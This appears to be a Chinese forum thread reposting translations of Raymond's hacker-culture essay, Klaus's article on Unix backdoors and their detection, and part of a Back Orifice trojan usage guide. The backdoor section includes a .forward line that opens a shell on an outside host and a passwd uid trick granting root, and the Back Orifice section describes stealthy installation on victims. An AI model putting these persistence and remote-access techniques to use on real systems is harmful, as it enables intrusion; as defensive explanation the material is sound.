如果你只是把学习 hacker 态度这件事当作一种能在这个文化里赢得认同的途径,那麽你己经乎略了真正的重点. 由衷的接受这些态度是很这要的, 这能帮助你学习并维持你的动机. 就像那些具创造性的艺术一样, 成为一位大师的最有效方法是学习大师们的精神; 并不只是学习知识和情绪而己.

所以, 如果你想要成为一位 hacker, 请反复的做下面的事情, 直到你完全领会它们:

1. 这世上充满著等著被解决的迷人问题.

作为一个 hacker 是充满快乐的, 但这是一种因为努力得到成果所带来的快乐. 努
力的成果则带来动机. 成功的运动家的动机则来自於, 使他们的身体不断进化,
并把自己推向物理上的极限所带来的快乐. 类似的情形, 要成为 hacker, 你必须
要能从解决问题, 精进技术, 和运用知识的过程中感受到一种悸动.

如果你不是天生就能感受到这种悸动的人, 那麽, 为了要成为 hacker, 你必须使自己变成这样的人. 否则, 你会发现你的 hacking energy 就会像性, 金钱, 和社交活动一样, 因为分心而被消磨掉.

(你也必须为你的学习能力建立一种信念直到你完成你的工作 -- 即使你现书负责的只是一小部份, 而你也不知道你到底还要学些什麽东西才有辨法解决你的问题, 但是你会努力学习, 准备充足, 以应付下一个问题.)

2. 没有任何人必须一再的解决同一个问题.

富创造力的头脑是贵重而有限的资源. 有这麽多迷人的新问题在那等著被解决.
因此富创造力的头脑不该被浪费的用来重复发明轮子.

身为一位 hacker, 你必须了解到其它 hacker 们的时间也是很宝贵的 -- 所以,分享资讯, 解决问题和提供解决方案给其它 hacker 以解决新的问题, 这些几乎算是道义上的责任.

( 即使 hacker 们所拥有的大多是从其它 hacker 的身上得来的, 但这并不意谓你必需把你创造的作品全部交出来, 你可以卖出足够数量的产品, 以求得温饱, 给付房租和买电脑设备, 这和 hacker 的价值观并不相违背. 使用你的 hacking 技能以供给一个家庭的生活, 甚至是致富, 只要你仍不忘记你是一位 hacker, 那麽这些行为并不会产生茅盾. )

3. 无聊而单调的工作是有害的.

Hacker 们(有创造力的人也是一样)永远不该做一些无聊而单调并且 stupid 的反复性工作. 因为, 如果这样的事情发生的话, 这表示他们正在做一些不是他们该做的事-- 解决新的问题. 这样的浪费对任何人而言都是一种伤害. 无聊单调的工作不只是无趣而己, 而且是一种有害的物质.

要做为一位 hacker 要能尽可能的自动避免无聊, 对此你必须有相当的认知. 这不只是为了你自己而已, 也是为了所有的人(尤其是其它的 hacker).

(这里有一些例外. 有时侯 hacker 们会去做一些被认为无聊或重复性的工作, 当做脑力的训练, 或是为了要学习得某种技能或某种你所没有的特殊经验. 不过这是一种选择, 没有任何一个人曾经被强迫要面对无聊的事. )

4. 自由就是好.

hacker 们天性上是反对独裁的. 任何一个给你命令的人就能给你一个独裁式的工作, 并且可以给你一些笨的可以的理由, 停止你解决任何吸引著你的问题. 所以任何独裁式 的行为都会被挑战, 以免会危害到你和其它的 hacker 们.

(这和为反对而反对是不同的, 小孩子是需要被指导和阻止他们犯错. hacker 也会同 意接受某些形式的独裁, 以得到某些比他花时间执行命令所能得到的东西还令他想要得到的东西. 不过那是一种有限且理性的协定; ..... )

专制在监察和保密这些事上是很有效的方法. 这些行使专制的人并不相信自愿性质的
合作和资讯分享 -- 他们只相信在他们控制之下的合作关作. 所以, 身为一位 hacker, 你必具有一种敌对的天性, 以对抗监察, 秘密和使用外力强迫或迷惑
可以信任的人等行为. 你必须以互信做为你行为的基础.

5. Attitude is no substitute for competence.

要成为一位 hacker, 你必须开始培养这些态度. 但, 如果你只是单独的模仿某一种态度, 这并不能使你成为一位真正的 hacker, 也不会使你成为一位运动冠军或摇滚明星.

然而, 你必须学会猜疑(?)和尊敬各种的能力. Hacker 们不会想浪费时间在虚华的人的身上, 他们尊敬的是能力 -- 特别是身为 hacker 的能力, 但对於其它方面的能力也是充满敬意. 如果有能力追求一些很少人能弄懂的技术,追求精神上的技巧, 并能
集中精神, 那就再好不过了.

如果你尊敬各种的能力, 那麽你就会乐於自己发展这些能力 -- 这会使的努力工作和奉献成为一种剌激性的消遣而非一份苦差事. 这对於想要成为 hacker 的人而言, 是很重要的.

一位 Hacker 所需的基本技能

hacker 的精神态度是很重要的, 但技术则更是重要. hacker 的态度虽然是无可取代, 但在别人像做梦般的开始叫你 hacker 之前, 有些基本的工具和技术是必备的.

随著新科技的发明和旧技术的取代, 这些工具随时间在慢慢的改变. 例如: 以往总是会学会用机器码写程式, 直到最近我们开始使用 HTML. 不过, 在 1996 年末, 下面所举的工具是很明显的被需要的:

1. 学习程式设计.

当然, 这是基础的 hacking 技能. 在 1997 年, 理所当然的, 你必须学会 C. 但,如果你只是学一种语言, 那麽你不能算是一位 hacker, 了不起只能算是一个programmer. 除此, 你还必须学会学会以独立於任何程式语言之上的概括性观念来思考 一件程式设计上的问题. 要成为一位真正的 hacker, 你必须要能在几天之内将manual 内容和你目前己经知道的关连起学会一种新的语言. 也就是说, 你必会学会数个不同的语言.

还了 C 之外, 你至少还要会 LISP 或 Perl (Java 也正在努力的挤上这个名单;译者注: 我很怀疑这份名单说 :p ). 除了几重要的 hacking 常用语言之外,这些语言提供你一些不同的程式设计途径, 并且让你在好的方法中学习.

程式设计是一种复杂的技术, 我没辨法在这里提供完整的学习步骤. 但是我能告诉你一些在书本上和课堂上所没有的东西 (有很多, 几乎全部最好的 hacker 们都是自习而来的). (a) 读别人的程式码 和 (b) 写程式, 这两项是不错的方法.

学习写程式就像在学习写一种良好的自然语言, 最好的方法是去看一些专家们所写的东西, 然後写一些你自己的东西, 然後读更多, 再写更多 ... 然後一直持续, 一直到你发展出一种属於自己的风格和特色.

要找到好的程式码来看是很一件很困难的事, 因为, 对菜鸟 hacker 们而言, 适於供他们阅读和努力的大型程式的 source 数量很少. 但这事己有了戏剧性的变化了;现在免费的供应的软体、程式设计工具和作业系统(大都公开提供 source, 而且全都是由 hacker 们写成的)到处可看. 进入下一个主题...

一光年的距离 2009-04-23 18:05
如何成为一位 hacker 2


2. 取得一个免费的 UNIX , 并学习使用和维护.

我先假设你己经有一部个人电脑或者是可以使用任何一部 (这些玩具现在到处都是,很易取得 :-)). 取得 hacker 技巧的第一个步骤是取得一份 Linux 或者一份免费的 BSD-Unix, 并将它安装在自己的机器, 并让使之顺利的运作.

没错, 在这个世界上除了 Unix 之外, 还有其它的作业系统. 但是他们只提供bianry, 你不能看到他们的程式码, 你也不能修改他们. 想要在 DOS 或 Windows或 MacOS 开始 hacking, 无疑就是要你绑著枷锁跳舞一样.

除此之外, Unix 是 Internet 上的作业系统. 当你在不懂 Unix 的情况下学习使用Internet 时, 你没辨法在不懂 Unix 的情况下成为 Internet 的 hacker. 因为这个原故, 现在的 hacker 文化还是很牢固的以 Unix 为中心绕著. (这并不完全是正确的, 而且有些活在旧时代的 hacker 甚至也不喜欢这种情形, 但是 Unix 和Internet 之间的共生共成己经到了牢不可破的地步, 即使是 Microsoft 的大块肌肉也没能在上面留下明显的伤痕.)

因些, 把 Unix 装起来吧! (我自己是喜欢 Linux, 但是还有其它的东东可用.) 学习它, 让它运作起来, 让它陪你努力精进. 用他向整个 Internet 喊话. 看程式码,改程式. 有一天你成为一位高竿的 hacker, 你回头往後看时会发现, 你得到比Microsoft 作业系统所能提供的还要好的程式设计工具(包括 C, Lisp和 Perl).而且得到快乐, 并学到比你想像中的还要多的知识.

关於学习 Unix, 在 Loginataka 有更多的资料.

看一下 Linux distribution 的目录或 Linux CD, 并把自己交付给它.

3. 学习使用 World Wide Web 并学会写 HTML.


在 hacker 文化里创造出来的东西, 大多在他们的活动范围外被使用著, 如, 在工厂和辨公室或大学里被漠漠的使用著. 但 Web 是一个很大的例外, 这个 hacker 眼中的大玩具甚至还被政客们接受, 并巧巧的在改变这个世界. 因此(还有很多好的理由), 你必须学习 Web.

并不只是学习使用 browser (这太容易了)而己, 还要学会写 HTML 这个 Web 的标签语言. 如果你不知道如何设计程式, 写 HTML 也可以给一些习惯上的帮助.嗯!! 建立 home page 吧!

不过, 有一个 home page 并没任何特别之处能让你成为一位 hacker. Web 上到处都是 home page, 而且大部份都没什麽重点, 没什麽内容的烂泥 -- 很好看的烂泥巴, 但是看起来都一样, 差不多.

为了让你的 page 有其价值, 它必须是有内容的东西 -- 它必须是有趣并且(或者)对其它 hacker 有用处的.

Hacker 文化的状况

就像大多数没有经济活动的文化一样, hackerdom 的运作是建立在名望之上.当你尝试去解决一个有趣的问题时, 你所做事是否有趣, 你的解决方案是不是真的好用, 这些只有你的技术上的同好或前辈准备好为你做评价.

因此, 当你开始玩起 hacker 的游戏时, 你的主要分数是来自其它 hacker们对你的技术的看法(这就是为什麽只当其它的 hacker 都认为你是 hacker 时, 你才算是一位真正的 hacker). 这个事实被人们认为hacking 是一种孤独的工作的印象所朦敝了; 也被 hacker 文化的禁忌(现在己渐渐的朽坏了, 但依然存在) 和存在人们内心动机里的自大或特权之间的冲突所朦敝.

很奇怪, 所谓的 hackerdom 就是那种人类学家所说的 gift culture.你在其中所得到的地位和名望并不来自於支配其它人, 或是因为长的漂亮, 或因为你有一些别人想要的东西, 而是因为你送出东西. 特别是, 你给送出你的时间,你的创造力和你的技术成果.

下面有五种事, 你会因为做了这些事而爱到 hacker 们尊敬:

1. 写免费的软体.

第一种是写那些其它 hacker 们觉的有趣或好用的程式, 并把 source 公开开放给整个 hacker 文化中的人使用.

hackerdom 最爱尊敬的是写出大而功能强的程式的人, 而且这程式是广为大家需要的, 所以大家都在做用这些程式.

2. 帮忙 test 和 debug 免费的软体

hacker 们也尊敬帮忙 debug 免费软体的人. 在这个不是很完美的世界里, 你不可避免的必须花掉大部分的软体发展周期在 debug 阶段上. 这就是为什麽在任何免费软体发展者的脑子里都会告诉你一件事, 好的 beta 测试者(能很很清楚的描述发生的状况,正确的发现问题出处, 可以容忍测试版本的 bug, 并且能进行一些简单的诊断程序)和红宝石一样贵重.

如果你是一苹菜鸟, 试著开始去找一个你有兴趣的正在发展中的程式, 并且成为一位好的 beta 测试者. 从帮忙测试开始, 很自然的你开始帮忙 debug, 进而开始帮忙修改程式. 你将在这过程中学习到很多东西, 并,且和以後可以帮助你的人结下因果.

3. 公布有用的资讯.

另一项好事是收集和过滤有用和有趣的资讯, 整理成 Web page 或 FAQ 之类的文件, 让大家能很容易的收得.

几种主要技术 FAQ 的维护者都能得和免费软体的作者几乎一样多的尊敬.

4. 帮忙维持一些简单的工作.

hacker 文化是由一群自愿者维持运作著. 有一些工作很无趣但却必须维持正常运作的, 如: 管理 mailing list, 维护 newsgroup, 维持大的软体供应站台, 推动RFC 和其它技术标准.

做这类的事将会得到很多的尊敬, 因为大家都知道这些工作是很花时间, 但又不像玩弄程式码般有趣.

5. 为 hacker 文化而努力.

最後一项, 你可以为这个文化效劳, 并推广这个文化(例如, 写一份正确的入门手册, 教别人如何成为一位 hacker :-)). 在你因为做了前面四件事之一而出名之前, 这不是你该做的事.

正确的说, hacker 文化里并没有任何的领导者, 但在这文化里有所谓的文化英雄,族群历史学家. 当你在其中混的够久之後, 你也许会成为这之中的一员. 注意:hacker 们并不相信族群里, 喧骚自大的长者, 所以成为这样的长者是非常的危险.与其去和别人竞争, 你宁可为自己定位, 给自己一个亲切谱虚的身份.

成为一位 hacker, 你不需要成为令人讨厌的人(Nerd), 反於社会常态.然而, 这对你而言却是非常有帮助的, 而且有很多 hacker 也是让人讨厌的人.当一个社会的浪人有益於让你专心在真正重要的事情上面, 例如: 思考和 hacking.

因此, 有很多 hacker 们接受了 `nerd' 这个符号, 甚至是使用 `geek' 这个字眼, 并引以为傲 -- 这是一种说明他们独主於世俗习惯之外的方法.

如果你能够适当的专注於 hacking 这事上面, 并且还保有你的生活, 那很好.而且现在要做到这样, 比起以前我还是个菜鸟时容易. 主流文化现在也较为 techno-nerd 所接受. 甚至有越来越多的人认为 hacker 们可以是很好的男朋友, 女朋友,老公和老婆. 更多相关讯息也见 Girl's Guide to Geek Guys.

如果你是因为没有生活而想开始 hacking, 那也没关系, 至少你就没有不能专心的问题了. 也许不久之後你就是一位 hacker 了.

再一次的强调, 要成为 hacker 就要了解 hacker 的精神. 如果你并不玩电脑, 那麽还是有一些事情可以帮助你. 这些不能成为 hacker 的代替品, 不过有不少的 hacker 经常做这些事, 并认为这些事和 hacking 的本质有某种基本的关连.

* 阅读科学小说, 并参加小说的聚会(这是一个遇到 hacker 和原始 hacker们的好方法).
* 学禅, 并且(或者)接触战争的艺术. (钢铁般的纪律似乎很重要.)
* 训练你的耳朵对音乐的分析能力, 试著欣赏某种特殊的音乐, 并好好的玩一些乐器或者唱歌.
* 增加对於俏皮话和文字游戏的认识.
* 加强你的母语写作能力. (有很惊人数量的 hacker, 都是不错的作家. 这包括一位我所知道的最好的 hacker.)

你做越多这些事, 那麽你就越像一位逼真的 hacker(natural hacker material).

最後, 有一些事千万不要做.

* 不要使用很蠢, 宏伟的使用者 ID 和 screen name.
* 不要加入 Usenet 里的战火 (或者任何地方的).
* 不要自称为 `cyberpunk', 也不要浪费任何时间在这麽做的人身上.
* 不要 post 或 email 一些充满错字或文法错误的文章.

做了这些事的结果只是为你招来大家的责难和批评. Hacker 们的记忆力都很好, 他们会一直记住你的所做所为, 你可能要花数年的时间才有辨法让他们重新接受你.

Other Resources
The Loginataka has some things to say about the proper training and attitude of a Unix hacker.
Loginataka 有提到一些关於 Unix hacker 的训练和态度.
I have also written A Brief History Of Hackerdom.
我也写关於 Hackerdom 历史的简介.
Peter Seebach maintains an excellent Hacker FAQ for managers who don't understand how to deal with hackers.

Peter Seebach 也维护了一份很不错的 Hacker FAQ, 这份文件是专门给不知道
如何和 hacker 们相处的经理人们看的.
I have written a paper, The Cathedral and the Bazaar, which explains a lot about how the Linux culture works. You can find it on my writings page.
我也写了一份 paper「Cathedral and the Bazaar」, 上面解释 Linux 文化的运作方式. 你可以在我写的page 上找的到.
Frequently Asked Questions

Q: 你能教我如何 hack 吗?

自从公开这个 page 以来, 我每周都收到很多人来信问"请告诉我所有关於 hacking
的事". 但很不幸的, 我没有这个时间或者是精力去做这件事; 我的 hacking project 已经用掉我 110% 的时间了.

就算我愿意, 但是基本上, hacking 是一种必须自习而成的生活态度和技术. 事实上, 如果有真正的hacker 愿意帮助你时, 如果你请求他们把所会的东西都直接喂给你, 你会发现他们根本就不理你.

先学一点东西吧! 表现出你正在努力尝试, 你有能力独立学习的. 然後再带著你所遇到的难题去和 hacker 见面.

Q: 我要在那里才能找的到一位真的 hacker 并和他们交谈?


很好, 不过很确定的, 不会在 IRC. 就我所能看到的, 那里除了骗ZI和 cracker 之外 什麽也没有. 最好的方法是找到一个在你附近的 Unix 或 Linux 的 user's group, 并加入他们, 参加他们的聚会 (在 Linux Users' Group page on Sunite 有一份目录).

Q: 我应该从那一种语言开始学呢?

如果你真的不懂 HTML 的话, 那就从它开始吧. 市面上有很多外表光鲜亮丽的 HTML
烂书. 我最喜欢的一本是 HTML: The Definitive Guide.

如果你己经准备好开始学 programming 了, 我会建议你从 Perl 或 Python 开始.
而 C 是真的很重要, 不过它也真的很难.

Q: 我要如何开始呢? 在那里能拿到免费的 Unix 呢?

我在这 page 内到处都有指向取得 Linux 的地方. 要成为一位hacker, 你必须要有动机并且主动进取还要独立学习. 就从现在开始吧....


                                                                        

一光年的距离 2009-04-23 18:06
后  门

Christopher Klaus 译者 iamtheguest

从早期的计算机入侵者开始,他们就努力发展能使自己重返被入侵系统的技术或后门.本文将讨论许多常见的后门及其检测方法. 更多的焦点放在Unix系统的后门,同时讨论一些未来将会出现的Windows NT的后门. 本文将描述如何测定入侵者使用的方法这样的复杂内容和管理员如何防止入侵者重返的基础知识. 当管理员懂的一旦入侵者入侵后要制止他们是何等之难以后, 将更主动于预防第一次入侵. 本文试图涉及大量流行的初级和高级入侵者制作后门的手法, 但不会也不可能覆盖到所有可能的方法.

大多数入侵者的后门实现以下二到三个目的:

即使管理员通过改变所有密码类似的方法来提高安全性,仍然能再次侵入. 使再次侵入被发现的可能性减至最低.大多数后门设法躲过日志, 大多数情况下即使入侵者正在使用系统也无法显示他已在线. 一些情况下, 如果入侵者认为管理员可能会检测到已经安装的后门, 他们以系统的 脆弱性作为唯一的后门, 重而反复攻破机器. 这也不会引起管理员的注意. 所以在 这样的情况下,一台机器的脆弱性是它唯一未被注意的后门.

密码破解后门

这是入侵者使用的最早也是最老的方法, 它不仅可以获得对Unix机器的访问, 而且可以通过破解密码制造后门. 这就是破解口令薄弱的帐号. 以后即使管理员封了入侵者的当前帐号,这些新的帐号仍然可能是重新侵入的后门. 多数情况下, 入侵者寻找口令薄弱的未使用帐号,然后将口令改的难些. 当管理员寻找口令薄弱的帐号是, 也不会发现这些密码已修改的帐号.因而管理员很难确定查封哪个帐号.

Rhosts + + 后门

在连网的Unix机器中,象Rsh和Rlogin这样的服务是基于rhosts文件里的主机名使用简单的认证方法. 用户可以轻易的改变设置而不需口令就能进入. 入侵者只要向可以访问的某用户的rhosts文件中输入"+ +", 就可以允许任何人从任何地方无须口令便能进入这个帐号. 特别当home目录通过NFS向外共享时, 入侵者更热中于此. 这些帐号也成了入侵者再次侵入的后门. 许多人更喜欢使用Rsh, 因为它通常缺少日志能力. 许多管
理员经常检查 "+ +", 所以入侵者实际上多设置来自网上的另一个帐号的主机名和用户名,从而不易被发现.

校验和及时间戳后门

早期,许多入侵者用自己的trojan程序替代二进制文件. 系统管理员便依靠时间戳和系统校验和的程序辨别一个二进制文件是否已被改变, 如Unix里的sum程序. 入侵者又发展了使trojan文件和原文件时间戳同步的新技术. 它是这样实现的: 先将系统时钟拨回到原文件时间, 然后调整trojan文件的时间为系统时间. 一旦二进制trojan文件与原来的精确同步, 就可以把系统时间设回当前时间. sum程序是基于CRC校验, 很容易
骗过.入侵者设计出了可以将trojan的校验和调整到原文件的校验和的程序. MD5是被大多数人推荐的,MD5使用的算法目前还没人能骗过.

Login后门

在Unix里,login程序通常用来对telnet来的用户进行口令验证. 入侵者获取login.c的原代码并修改,使它在比较输入口令与存储口令时先检查后门口令. 如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入. 这将允许入侵者进入任何帐号,甚至是root.由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问的, 所以入侵者可以登录获取shell却不会暴露该帐号. 管理员注意到这种后门后, 便
用"strings"命令搜索login程序以寻找文本信息. 许多情况下后门口令会原形毕露.入侵者就开始加密或者更好的隐藏口令, 使strings命令失效. 所以更多的管理员是用MD5校验和检测这种后门的.

Telnetd后门

当用户telnet到系统, 监听端口的inetd服务接受连接随后递给in.telnetd,由它运行login.一些入侵者知道管理员会检查login是否被修改, 就着手修改in.telnetd.在in.telnetd内部有一些对用户信息的检验, 比如用户使用了何种终端. 典型的终端设置是Xterm或者VT100.入侵者可以做这样的后门, 当终端设置为"letmein"时产生一个不要任何验证的shell. 入侵者已对某些服务作了后门, 对来自特定源端口的连接产
生一个shell .

服务后门

几乎所有网络服务曾被入侵者作过后门. finger, rsh, rexec, rlogin, ftp, 甚至inetd等等的作了的版本随处多是. 有的只是连接到某个TCP端口的shell,通过后门口令就能获取访问.这些程序有时用刺娲□?ucp这样不用的服务,或者被加入inetd.conf作为一个新的服务.管理员应该非常注意那些服务正在运行, 并用MD5对原服务程序做校验.

Cronjob后门

Unix上的Cronjob可以按时间表调度特定程序的运行. 入侵者可以加入后门shell程序使它在1AM到2AM之间运行,那么每晚有一个小时可以获得访问. 也可以查看cronjob中经常运行的合法程序,同时置入后门.

库后门

几乎所有的UNIX系统使用共享库. 共享库用于相同函数的重用而减少代码长度. 一些入侵者在象crypt.c和_crypt.c这些函数里作了后门. 象login.c这样的程序调用了crypt(),当使用后门口令时产生一个shell. 因此, 即使管理员用MD5检查login程序,仍然能产生一个后门函数.而且许多管理员并不会检查库是否被做了后门.对于许多入侵者来说有一个问题: 一些管理员对所有东西多作了MD5校验. 有一种办法是入侵者对open()和文件访问函数做后门. 后门函数读原文件但执行trojan后门程序. 所以 当MD5读这些文件时,校验和一切正常. 但当系统运行时将执行trojan版本的. 即使trojan库本身也可躲过MD5校验. 对于管理员来说有一种方法可以找到后门, 就是静态编连MD5校验程序然后运行.静态连接程序不会使用trojan共享库.

内核后门

内核是Unix工作的核心. 用于库躲过MD5校验的方法同样适用于内核级别,甚至连静态连接多不能识别. 一个后门作的很好的内核是最难被管理员查找的, 所幸的是内核的后门程序还不是随手可得, 每人知道它事实上传播有多广.

文件系统后门

入侵者需要在服务器上存储他们的掠夺品或数据,并不能被管理员发现. 入侵者的文章常是包括exploit脚本工具,后门集,sniffer日志,email的备分,原代码,等等. 有时为了防止管理员发现这么大的文件, 入侵者需要修补"ls","du","fsck"以隐匿特定的目录和文件.在很低的级别, 入侵者做这样的漏洞: 以专有的格式在硬盘上割出一部分,且表示为坏的扇区. 因此入侵者只能用特别的工具访问这些隐藏的文件. 对于普通的
管理员来说, 很难发现这些"坏扇区"里的文件系统, 而它又确实存在.

Boot块后门

在PC世界里,许多病毒藏匿与根区, 而杀病毒软件就是检查根区是否被改变. Unix下,多数管理员没有检查根区的软件, 所以一些入侵者将一些后门留在根区.

隐匿进程后门

入侵者通常想隐匿他们运行的程序. 这样的程序一般是口令破解程序和监听程序 (sniffer).有许多办法可以实现,这里是较通用的: 编写程序时修改自己的argv[]使它看起来象其他进程名. 可以将sniffer程序改名类似in.syslog再执行. 因此当管理员用"ps"检查运行进程时, 出现 的是标准服务名. 可以修改库函数致使
"ps"不能显示所有进程. 可以将一个后门或程序嵌入中断驱动程序使它不会在进程表显现. 使用这个技术的一个后门例子是amod.tar.gz :

http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html

也可以修改内核隐匿进程.

Rootkit

最流行的后门安装包之一是rootkit. 它很容易用web搜索器找到.从Rootkit的README里,可以找到一些典型的文件:

z2 - removes entries from utmp, wtmp, and lastlog.
Es - rokstar's ethernet sniffer for sun4 based kernels.
Fix - try to fake checksums, install with same dates/perms/u/g.
Sl - become root via a magic password sent to login.
Ic - modified ifconfig to remove PROMISC flag from output.
ps: - hides the processes.
Ns - modified netstat to hide connections to certain machines.
Ls - hides certain directories and files from being listed.
du5 - hides how much space is being used on your hard drive.
ls5 - hides certain files and directories from being listed.

网络通行后门

入侵者不仅想隐匿在系统里的痕迹, 而且也要隐匿他们的网络通行. 这些网络通行后门有时允许入侵者通过防火墙进行访问. 有许多网络后门程序允许入侵者建立某个端口号并不用通过普通服务就能实现访问. 因为这是通过非标准网络端口的通行, 管理员可能忽视入侵者的足迹. 这种后门通常使用TCP,UDP和ICMP, 但也可能是其他类型报文.

TCP Shell 后门

入侵者可能在防火墙没有阻塞的高位TCP端口建立这些TCP Shell后门. 许多情况下,他们用口令进行保护以免管理员连接上后立即看到是shell访问. 管理员可以用netstat命令查看当前的连接状态, 那些端口在侦听, 目前连接的来龙去脉. 通常这些后门可以让入侵者躲过TCP Wrapper技术. 这些后门可以放在SMTP端口, 许多防火墙允许e-mail通行的.

UDP Shell 后门

管理员经常注意TCP连接并观察其怪异情况, 而UDP Shell后门没有这样的连接, 所以netstat不能显示入侵者的访问痕迹. 许多防火墙设置成允许类似DNS的UDP报文的通行. 通常入侵者将UDP Shell放置在这个端口, 允许穿越防火墙.

ICMP Shell 后门

Ping是通过发送和接受ICMP包检测机器活动状态的通用办法之一. 许多防火墙允许外界ping它内部的机器. 入侵者可以放数据入Ping的ICMP包, 在ping的机器间形成一个shell通道. 管理员也许会注意到Ping包暴风, 但除了他查看包内数据, 否者入侵者不会暴露.

加密连接

管理员可能建立一个sniffer试图某个访问的数据, 但当入侵者给网络通行后门加密后,就不可能被判定两台机器间的传输内容了.

Windows NT

由于Windows NT不能轻易的允许多个用户象Unix下访问一台机器, 对入侵者来说就很难闯入Windows NT,安装后门,并从那里发起攻击. 因此你将更频繁地看到广泛的来自Unix的网络攻击. 当Windows NT提高多用户技术后, 入侵者将更频繁地利用 WindowsNT.如果这一天真的到来, 许多Unix的后门技术将移植到Windows NT上, 管理员可以等候入侵者的到来. 今天, Windows NT已经有了telnet守护程序. 通过网络通行后门, 入侵者发现在Windows NT安装它们是可行的. ( With Network Traffic
backdoors, theyarevery feasible for intruders to install on Windows NT. 此处该如何翻译? :(

解决

当后门技术越先进, 管理员越难于判断入侵者是否侵入后者他们是否被成功封杀.

评估

首先要做的是积极准确的估计你的网络的脆弱性, 从而判定漏洞的存在且修复之.许多商业工具用来帮助扫描和查核网络及系统的漏洞. 如果仅仅安装提供商的安全补丁的话,许多公司将大大提高安全性.

MD5基准线

一个系统(安全)扫描的一个重要因素是MD5校验和基准线. MD5基准线是在黑客入侵前由干净系统建立. 一旦黑客入侵并建立了后门再建立基准线, 那么后门也被合并进去了.一些公司被入侵且系统被安置后门长达几个月.所有的系统备份多包含了后门. 当公司发现有黑客并求助备份祛除后门时, 一切努力是徒劳的, 因为他们恢复系统的同时也恢复了后门. 应该在入侵发生前作好基准线的建立.

入侵检测

随着各种组织的上网和允许对自己某些机器的连接,入侵检测正变的越来越重要.以前多数入侵检测技术是基于日志型的. 最新的入侵检测系统技术(IDS)是基于实时侦听和网络通行安全分析的. 最新的IDS技术可以浏览DNS的UDP报文, 并判断是否符合DNS协议请求. 如果数据不符合协议, 就发出警告信号并抓取数据进行进一步分析. 同样的原则可以运用到ICMP包, 检查数据是否符合协议要求, 或者是否装载加密shell会话.

从CD-ROM启动

一些管理员考虑从CD-ROM启动从而消除了入侵者在CD-ROM上做后门的可能性.这种方法的问题是实现的费用和时间够企业面临的.

警告

由于安全领域变化之快, 每天有新的漏洞被公布, 而入侵者正不断设计新的攻击和安置后门技术, 安枕无忧的安全技术是没有的.请记住没有简单的防御,只有不懈的努力!
( Be aware that no defense is foolproof, and that there is no substitute for
diligent attention. 此句该如何翻译? :( )
-------------------------------------------------------------------------
you may want to add:

.forward Backdoor

On Unix machines, placing commands into the .forward file was also
a common method of regaining access. For the account ``username''
a .forward file might be constructed as follows:

\username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e
/bin/sh"

permutations of this method include alteration of the systems mail
aliases file (most commonly located at /etc/aliases). Note that
this is a simple permutation, the more advanced can run a simple
script from the forward file that can take arbitrary commands via
stdin (after minor preprocessing).

PS: The above method is also useful gaining access a companies
mailhub (assuming there is a shared a home directory FS on
&nbs>


the client and server).

> Using smrsh can effectively negate this backdoor (although it's quite
> possibly still a problem if you allow things like elm's filter or
> procmail which can run programs themselves...).



你也许要增加:

.forward后门

Unix下在.forward文件里放入命令是重新获得访问的常用方法. 帐户'username'的.forward可能设置如下:

\username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e/bin/sh"


这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后).>利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或 procmail>类程序, 很有可能还有问题 ......)

( 此段的内容理解不深, 故付上英文, 请指教! )
---------------------------------------------------------------------------
你也许能用这个"特性"做后门:

当在/etc/password里指定一个错误的uid/gid后, 大多数login(1)的实现是不能检查出这个错误的uid/gid, 而atoi(3)将设uid/gid为0, 便给了超级用户的权利.

例子:

rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh

在Linux里,这将把用户rmartin的uid设为0.

一光年的距离 2009-04-23 18:06
使用BO入侵系统的中文使用说明

作者:DACID CHAN    David Chan 译

Back Orifice(以下简称BO)是一个客户机/服务器(C/S)应用程序,其客户机程序(以下简称BO客户机)可以监视、管理和使用其他网络中运行服务器程序(以下简称BO服务器)所在的网络资源。要与BO服务器连接,基于文本和基于图形的BO客户机需要运行在MicrosoftWindows机器上。现在版本的BO服务器只能在Windows 95/98中运行。

本软件包里包括:
bo.txt
本文档。
plugin.txt
插件编程文档。
boserve.exe
Back Orifice服务器自安装程序。
bogui.exe
Back Orifice图形客户机。
boclient.exe
Back Orifice文本客户机。
boconfig.exe
配置BO服务器程序文件名、端口、密码和插件的工具。
melt.exe
对由freeze命令压缩的文档解压缩。
freeze.exe
压缩文档。压缩文档可被metl命令解压缩。

只要运行BO服务器程序,就可以安装BO服务器了。当BO服务器程序运行时,它安装BO服务器,然后删除自安装程序。此方法有助于网络环境下的安装:只要BO服务器程序被复制到Startup目录下就行了(译者注:因为Windows 95/98每次启动时都会运行该目录下的程序)。因为BO服务器程序在自安装BO服务器后就会删除自已。一旦BO服务器被安装到一台机器上,它会在每次机器启动时运行。

需要远程更新Back Orifice时,只要上载新版本的BO服务器程序到远程机上,使用Process spawn命令运行它。一旦运行,BO服务器程序将自动删除与它将要安装的文件同名的文件,安装自已(覆盖旧版本),然后在安装目录中运行自己,最后删除BO服务器程序。

在安装前,可以配置BO服务器程序的一些参数。如安装后的BO文件名、监听端口、加密密码,都可以使用boconfig.exe工具配置。如果不进行配置,缺省是监听31337端口、不使用加密密码(数据包仍然会加密)和以" .exe"文件名安装。

BO客户机通过加密了的UDP包与BO服务器通讯。要实现成功通讯,BO客户机城建发送数据到BO服务器监听的端口,而且BO客户机密码必须匹配BO服务器已配置好的密码。

基于图形和文本的BO客户机都可以通过使用-p选项来设置BO客户机数据包的发送端口。如果数据包被过滤或者有防火墙屏蔽,就可能需要从一个特别的、不会被过滤和屏蔽的端口发送。如果UDP连接通讯不能成功,则可能是数据包在发送或回送路径中被过滤或者屏蔽了。

从BO客户机向特定的IP地址发送命令即可对BO服务器操作。如果BO服务器无静态IP地址,则可使用以下方法:(1)在基于文本的BO客户机使用sweep或sweeplist命令;(2)在基于图形的BO客户机使用"Ping..."对话框;(3)设定目标IP如"1.2.3.*"。如果扫描子网列表,当有BO服务器响应时,BO客户机在子网列表目录中浏览,并显示所匹配的行和子网地址。(译者注:虽然我知道如何使用,但却无法按原文的内容表达出来。我在以后再作详细说明。)

